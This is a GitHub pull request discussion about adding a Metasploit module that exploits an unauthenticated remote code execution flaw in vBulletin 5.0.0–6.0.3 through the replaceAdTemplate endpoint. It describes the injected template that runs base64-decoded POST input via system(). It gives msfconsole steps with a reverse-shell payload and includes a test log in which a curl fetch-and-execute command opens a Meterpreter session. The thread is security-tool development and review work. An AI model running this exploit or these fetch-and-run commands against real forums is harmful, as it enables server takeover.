Skip to content

Conversation

@Chocapikk
Copy link
Contributor

@Chocapikk Chocapikk commented May 23, 2025

Hello Metasploit Team,

This PR introduces the unauthenticated RCE module exploit/multi/http/vbulletin_replace_ad_template_rce. It exploits a flaw in vBulletin 5.0.0–6.0.3 on PHP 8.1+ by abusing the replaceAdTemplate AJAX endpoint to inject a <vb:if> template that executes "system"("base64_decode"($_POST[<param>])), then triggers it via ajax/render/ad_<location>. No CVE has been assigned for this issue; it was publicly documented by Egidio Romano (EgiX) at Karma(In)Security: https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce.

cc: @EgidioRomano

I've provided a vBulletin 6.0.1 package to the msfdev team by email (Please check, because I think the email has been blocked as a “security issue”) for private testing.


Verification

  • After installing vBulletin as documented, run:

    use exploit/multi/http/vbulletin_replace_ad_template_rce
    set RHOSTS <target>
    set RPORT <port>
    set TARGETURI /
    set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
    set LHOST <your IP>
    set LPORT <your port>
    run
  • Verify a Meterpreter session is established as the webserver user.

The module's documentation covers additional details on setup and usage.

Thanks for reviewing!

@Chocapikk Chocapikk force-pushed the vbulletin_replace_ad_template_rce branch from beaf745 to 1f6dd34 Compare May 23, 2025 21:17
@Chocapikk Chocapikk force-pushed the vbulletin_replace_ad_template_rce branch from aaa38b3 to 427b929 Compare May 23, 2025 22:09
@Chocapikk Chocapikk force-pushed the vbulletin_replace_ad_template_rce branch from 427b929 to 6644bfa Compare May 23, 2025 22:10
@EgidioRomano
Copy link
Contributor

@Chocapikk @jvoisin just for the records: the affected versions should be all 5.x and early 6.x versions before 6.0.4. So, it's not just 5.1.0-6.0.3, but 5.0.0-6.0.3.

@EgidioRomano
Copy link
Contributor

@Chocapikk Furthermore, I'd also suggest to revisit the check method: I believe only few web servers are exposing the X-Powered-By HTTP header, and most vBulletin websites hide the version number from the HTML. As such, I'd rewrite the check method as follow:

  1. Try to invoke the ajax/api/ad/replaceAdTemplate method passing random strings as the location and template parameter
  2. Try to invoke the ajax/render/ad_#{locaction} route and see whether the response contains the #{template} random string; if so, it's vulnerable, otherwise it's safe.

Simple and more efficient than relying on versions matching, IMHO.

@Chocapikk
Copy link
Contributor Author

Hi @EgidioRomano , Thanks for the suggestions, I'll take this into consideration, the goal being that the check function is as less intrusive as possible, but yes, I see what you mean, it's also a valid solution

@EgidioRomano
Copy link
Contributor

EgidioRomano commented May 24, 2025

@Chocapikk one more thing: furthermore, relying on versions matching could provide false positives... For instance, I guess most of the vBulletin 5.x websites out there are using the latest 5.7.5 version, but the question is that some (most?) of those websites have likely applied security patches, so they're not vulnerable... Even if your current check method would say they're vulnerable.

@Admin9961
Copy link

@EgidioRomano Complimenti 🇮🇹 invece di delegare a version matching si può tentare un approccio leggermente più aggressivo ma comunque innoquo. Si forza il target ad eseguire qualcosa come curl http://controlled_attacker_listener.com:8080 e se il listener riceve una callback, conferma che il target è vulnerabile. Quest'idea funziona, perché curl è cross-platform nel 2025, è sia su Linux che su Windows 10/11 e Windows Server moderni.

@EgidioRomano
Copy link
Contributor

🇮🇹 @Admin9961 Grazie! Si, anche il tuo metodo può funzionare... Ma come dice anche @Chocapikk, l'obiettivo è rendere la funzione check il meno intrusiva possibile, e credo che il metodo che ho suggerito io sia un pò meno "intrusivo" rispetto ad usare curl! 😅

🇬🇧 @Admin9961 Thanks! Yeah, your method might work too... But as @Chocapikk also says, the goal is to make the check method as non-intrusive as possible, and I think the method I suggested is a bit less "intrusive" than yours! 😅

@Admin9961
Copy link

@Chocapikk Furthermore, I'd also suggest to revisit the check method: I believe only few web servers are exposing the X-Powered-By HTTP header, and most vBulletin websites hide the version number from the HTML. As such, I'd rewrite the check method as follow:

1. Try to invoke the `ajax/api/ad/replaceAdTemplate` method passing random strings as the `location` and `template` parameter

2. Try to invoke the `ajax/render/ad_#{locaction}` route and see whether the response contains the `#{template}` random string; if so, it's vulnerable, otherwise it's safe.

Simple and more efficient than relying on versions matching, IMHO.

Yes this is less aggressive, I've actually missed that method. It's very optimal, implement that please @Chocapikk

@Chocapikk
Copy link
Contributor Author

Hey @Admin9961 , I'll do it. Just not right away. I've been working too hard these past few days, but yes, I'll use this method. Thanks for the feedback, guys!

@Chocapikk Chocapikk force-pushed the vbulletin_replace_ad_template_rce branch 3 times, most recently from 346e672 to c84237e Compare May 26, 2025 17:02
@Chocapikk Chocapikk force-pushed the vbulletin_replace_ad_template_rce branch 3 times, most recently from 771554e to 717b995 Compare May 26, 2025 18:00
@Chocapikk Chocapikk force-pushed the vbulletin_replace_ad_template_rce branch from 717b995 to 854d235 Compare May 26, 2025 18:04
end

def check
inject_and_trigger(:check) ? CheckCode::Appears : CheckCode::Safe
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should this be vulnerable, since we're performing the exploit?

'vars_post' => render_vars
)

if mode == :check
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe also explicitly use false.
Yes, nil will be falsey, but in this case, we can just return the clearer value.

@Chocapikk Chocapikk force-pushed the vbulletin_replace_ad_template_rce branch from 0f22fe4 to 33439fc Compare May 29, 2025 14:30
@msutovsky-r7
Copy link
Contributor

Hi @Chocapikk , I have trouble finding the package you provided in email - would you mind sharing it in message on Slack?

@dledda-r7 dledda-r7 self-assigned this Jun 18, 2025
Copy link
Contributor

@dledda-r7 dledda-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think we are good to go here.

msf6 exploit(multi/http/vbulletin_replace_ad_template_rce) > run
[*] Command to run on remote host: curl -so ./GmSIlhLjXN http://192.168.3.10:8080/cW8JgND_bGlJIBu4XLyrUg;chmod +x ./GmSIlhLjXN;./GmSIlhLjXN&
[*] Fetch handler listening on 192.168.3.10:8080
[*] HTTP server started
[*] Adding resource /cW8JgND_bGlJIBu4XLyrUg
[*] Started reverse TCP handler on 192.168.3.10:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Starting vulnerability check on 127.0.0.1:8080/
[*] Generating random marker and condition for mode check
[*] Sending POST to ajax/api/ad/replaceAdTemplate (location=Shtwv)
[*] Injection response: HTTP 200
[+] Marker found in injection response body
[+] The target is vulnerable.
[*] Generating random marker and condition for mode exploit
[*] Sending POST to ajax/api/ad/replaceAdTemplate (location=JlxkB)
[*] Client 10.5.134.150 requested /cW8JgND_bGlJIBu4XLyrUg
[*] Sending payload to 10.5.134.150 (curl/7.88.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 10.5.134.150
[*] Meterpreter session 1 opened (192.168.3.10:4444 -> 10.5.134.150:33396) at 2025-06-19 08:11:50 -0400

meterpreter > sysinfo
Computer     : 172.18.0.3
OS           : Debian 12.11 (Linux 6.8.0-1029-azure)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: www-data
meterpreter > 

@dledda-r7 dledda-r7 merged commit c0dfbf4 into rapid7:master Jun 19, 2025
20 checks passed
@smcintyre-r7 smcintyre-r7 added the rn-modules release notes for new or majorly enhanced modules label Jun 25, 2025
@smcintyre-r7
Copy link
Contributor

smcintyre-r7 commented Jun 25, 2025

Release Notes

This adds an unauthenticated RCE module which exploits a flaw in vBulletin 5.0.0–6.0.3 on PHP 8.1+ by abusing the replaceAdTemplate AJAX endpoint. This vulnerability is identified as CVE-2025-48827.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

docs module rn-modules release notes for new or majorly enhanced modules

Projects

None yet

Development

Successfully merging this pull request may close these issues.

8 participants